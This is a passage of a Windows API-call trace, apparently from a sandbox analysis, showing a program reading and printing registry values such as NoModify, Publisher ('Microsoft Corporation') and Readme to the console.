(_File=0x7fefd702ab0) returned 1 [0148.243] _errno () returned 0xc4bb0 [0148.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.243] _errno () returned 0xc4bb0 [0148.243] GetFileType (hFile=0x50) returned 0x1 [0148.243] lstrlenW (lpString="\n") returned 1 [0148.243] GetConsoleOutputCP () returned 0x1b5 [0148.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.243] GetConsoleOutputCP () returned 0x1b5 [0148.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.243] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.243] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.243] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.243] GetProcessHeap () returned 0x2e0000 [0148.243] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.244] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.244] __iob_func () returned 0x7fefd702a80 [0148.244] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.244] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.244] _fileno (_File=0x7fefd702ab0) returned 1 [0148.244] _errno () returned 0xc4bb0 [0148.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.244] _errno () returned 0xc4bb0 [0148.244] GetFileType (hFile=0x50) returned 0x1 [0148.244] lstrlenW (lpString=" ") returned 4 [0148.244] GetConsoleOutputCP () returned 0x1b5 [0148.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.244] GetConsoleOutputCP () returned 0x1b5 [0148.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.244] lstrlenW (lpString="NoModify") returned 8 [0148.244] __iob_func () returned 0x7fefd702a80 [0148.244] _fileno (_File=0x7fefd702ab0) returned 1 [0148.244] _errno () returned 0xc4bb0 [0148.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.244] _errno () returned 0xc4bb0 [0148.244] GetFileType (hFile=0x50) returned 0x1 [0148.244] lstrlenW (lpString="NoModify") returned 8 [0148.244] GetConsoleOutputCP () returned 0x1b5 [0148.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.245] GetConsoleOutputCP () returned 0x1b5 [0148.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.245] __iob_func () returned 0x7fefd702a80 [0148.245] _fileno (_File=0x7fefd702ab0) returned 1 [0148.245] _errno () returned 0xc4bb0 [0148.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.245] _errno () returned 0xc4bb0 [0148.245] GetFileType (hFile=0x50) returned 0x1 [0148.245] lstrlenW (lpString=" ") returned 4 [0148.245] GetConsoleOutputCP () returned 0x1b5 [0148.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.245] GetConsoleOutputCP () returned 0x1b5 [0148.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.245] __iob_func () returned 0x7fefd702a80 [0148.245] _fileno (_File=0x7fefd702ab0) returned 1 [0148.245] _errno () returned 0xc4bb0 [0148.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.246] _errno () returned 0xc4bb0 [0148.246] GetFileType (hFile=0x50) returned 0x1 [0148.246] lstrlenW (lpString="REG_DWORD") returned 9 [0148.246] GetConsoleOutputCP () returned 0x1b5 [0148.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.246] GetConsoleOutputCP () returned 0x1b5 [0148.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.246] __iob_func () returned 0x7fefd702a80 [0148.246] _fileno (_File=0x7fefd702ab0) returned 1 [0148.246] _errno () returned 0xc4bb0 [0148.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.246] _errno () returned 0xc4bb0 [0148.246] GetFileType (hFile=0x50) returned 0x1 [0148.246] lstrlenW (lpString=" ") returned 4 [0148.246] GetConsoleOutputCP () returned 0x1b5 [0148.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.246] GetConsoleOutputCP () returned 0x1b5 [0148.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.247] __iob_func () returned 0x7fefd702a80 [0148.247] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.247] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.247] _fileno (_File=0x7fefd702ab0) returned 1 [0148.247] _errno () returned 0xc4bb0 [0148.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.247] _errno () returned 0xc4bb0 [0148.247] GetFileType (hFile=0x50) returned 0x1 [0148.247] lstrlenW (lpString="0x1") returned 3 [0148.247] GetConsoleOutputCP () returned 0x1b5 [0148.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.247] GetConsoleOutputCP () returned 0x1b5 [0148.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.247] __iob_func () returned 0x7fefd702a80 [0148.247] _fileno (_File=0x7fefd702ab0) returned 1 [0148.247] _errno () returned 0xc4bb0 [0148.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.247] _errno () returned 0xc4bb0 [0148.247] GetFileType (hFile=0x50) returned 0x1 [0148.247] lstrlenW (lpString="\n") returned 1 [0148.247] GetConsoleOutputCP () returned 0x1b5 [0148.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.248] GetConsoleOutputCP () returned 0x1b5 [0148.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.248] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.248] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.248] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.248] GetProcessHeap () returned 0x2e0000 [0148.248] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.248] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.248] __iob_func () returned 0x7fefd702a80 [0148.248] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.248] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.248] _fileno (_File=0x7fefd702ab0) returned 1 [0148.248] _errno () returned 0xc4bb0 [0148.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.248] _errno () returned 0xc4bb0 [0148.248] GetFileType (hFile=0x50) returned 0x1 [0148.248] lstrlenW (lpString=" ") returned 4 [0148.249] GetConsoleOutputCP () returned 0x1b5 [0148.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.249] GetConsoleOutputCP () returned 0x1b5 [0148.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.249] lstrlenW (lpString="Publisher") returned 9 [0148.249] __iob_func () returned 0x7fefd702a80 [0148.249] _fileno (_File=0x7fefd702ab0) returned 1 [0148.249] _errno () returned 0xc4bb0 [0148.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.249] _errno () returned 0xc4bb0 [0148.249] GetFileType (hFile=0x50) returned 0x1 [0148.249] lstrlenW (lpString="Publisher") returned 9 [0148.249] GetConsoleOutputCP () returned 0x1b5 [0148.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.249] GetConsoleOutputCP () returned 0x1b5 [0148.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.250] __iob_func () returned 0x7fefd702a80 [0148.250] _fileno (_File=0x7fefd702ab0) returned 1 [0148.250] _errno () returned 0xc4bb0 [0148.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.250] _errno () returned 0xc4bb0 [0148.250] GetFileType (hFile=0x50) returned 0x1 [0148.250] lstrlenW (lpString=" ") returned 4 [0148.250] GetConsoleOutputCP () returned 0x1b5 [0148.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.250] GetConsoleOutputCP () returned 0x1b5 [0148.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.250] __iob_func () returned 0x7fefd702a80 [0148.250] _fileno (_File=0x7fefd702ab0) returned 1 [0148.250] _errno () returned 0xc4bb0 [0148.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.250] _errno () returned 0xc4bb0 [0148.250] GetFileType (hFile=0x50) returned 0x1 [0148.250] lstrlenW (lpString="REG_SZ") returned 6 [0148.250] GetConsoleOutputCP () returned 0x1b5 [0148.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.251] GetConsoleOutputCP () returned 0x1b5 [0148.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.251] __iob_func () returned 0x7fefd702a80 [0148.251] _fileno (_File=0x7fefd702ab0) returned 1 [0148.251] _errno () returned 0xc4bb0 [0148.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.251] _errno () returned 0xc4bb0 [0148.251] GetFileType (hFile=0x50) returned 0x1 [0148.251] lstrlenW (lpString=" ") returned 4 [0148.251] GetConsoleOutputCP () returned 0x1b5 [0148.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.251] GetConsoleOutputCP () returned 0x1b5 [0148.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.251] __iob_func () returned 0x7fefd702a80 [0148.251] _fileno (_File=0x7fefd702ab0) returned 1 [0148.251] _errno () returned 0xc4bb0 [0148.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.251] _errno () returned 0xc4bb0 [0148.251] GetFileType (hFile=0x50) returned 0x1 [0148.251] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.252] GetConsoleOutputCP () returned 0x1b5 [0148.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.252] GetConsoleOutputCP () returned 0x1b5 [0148.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.252] __iob_func () returned 0x7fefd702a80 [0148.252] _fileno (_File=0x7fefd702ab0) returned 1 [0148.252] _errno () returned 0xc4bb0 [0148.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.252] _errno () returned 0xc4bb0 [0148.252] GetFileType (hFile=0x50) returned 0x1 [0148.252] lstrlenW (lpString="\n") returned 1 [0148.252] GetConsoleOutputCP () returned 0x1b5 [0148.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.252] GetConsoleOutputCP () returned 0x1b5 [0148.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.252] GetProcessHeap () returned 0x2e0000 [0148.252] GetProcessHeap () returned 0x2e0000 [0148.253] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.253] GetProcessHeap () returned 0x2e0000 [0148.253] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.253] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.253] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.253] GetProcessHeap () returned 0x2e0000 [0148.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.253] GetProcessHeap () returned 0x2e0000 [0148.253] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.253] GetProcessHeap () returned 0x2e0000 [0148.253] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.253] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.253] __iob_func () returned 0x7fefd702a80 [0148.253] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.253] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.253] _fileno (_File=0x7fefd702ab0) returned 1 [0148.253] _errno () returned 0xc4bb0 [0148.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.253] _errno () returned 0xc4bb0 [0148.253] GetFileType (hFile=0x50) returned 0x1 [0148.253] lstrlenW (lpString=" ") returned 4 [0148.253] GetConsoleOutputCP () returned 0x1b5 [0148.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.253] GetConsoleOutputCP () returned 0x1b5 [0148.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.254] lstrlenW (lpString="Readme") returned 6 [0148.254] __iob_func () returned 0x7fefd702a80 [0148.254] _fileno (_File=0x7fefd702ab0) returned 1 [0148.254] _errno () returned 0xc4bb0 [0148.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.254] _errno () returned 0xc4bb0 [0148.254] GetFileType (hFile=0x50) returned 0x1 [0148.254] lstrlenW (lpString="Readme") returned 6 [0148.254] GetConsoleOutputCP () returned 0x1b5 [0148.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.254] GetConsoleOutputCP () returned 0x1b5 [0148.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.255] __iob_func () returned 0x7fefd702a80 [0148.255] _fileno (_File=0x7fefd702ab0) returned 1 [0148.255] _errno () returned 0xc4bb0 [0148.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.255] _errno () returned 0xc4bb0 [0148.255] GetFileType (hFile=0x50) returned 0x1 [0148.255] lstrlenW (lpString=" ") returned 4 [0148.255] GetConsoleOutputCP () returned 0x1b5 [0148.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.255] GetConsoleOutputCP () returned 0x1b5 [0148.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, 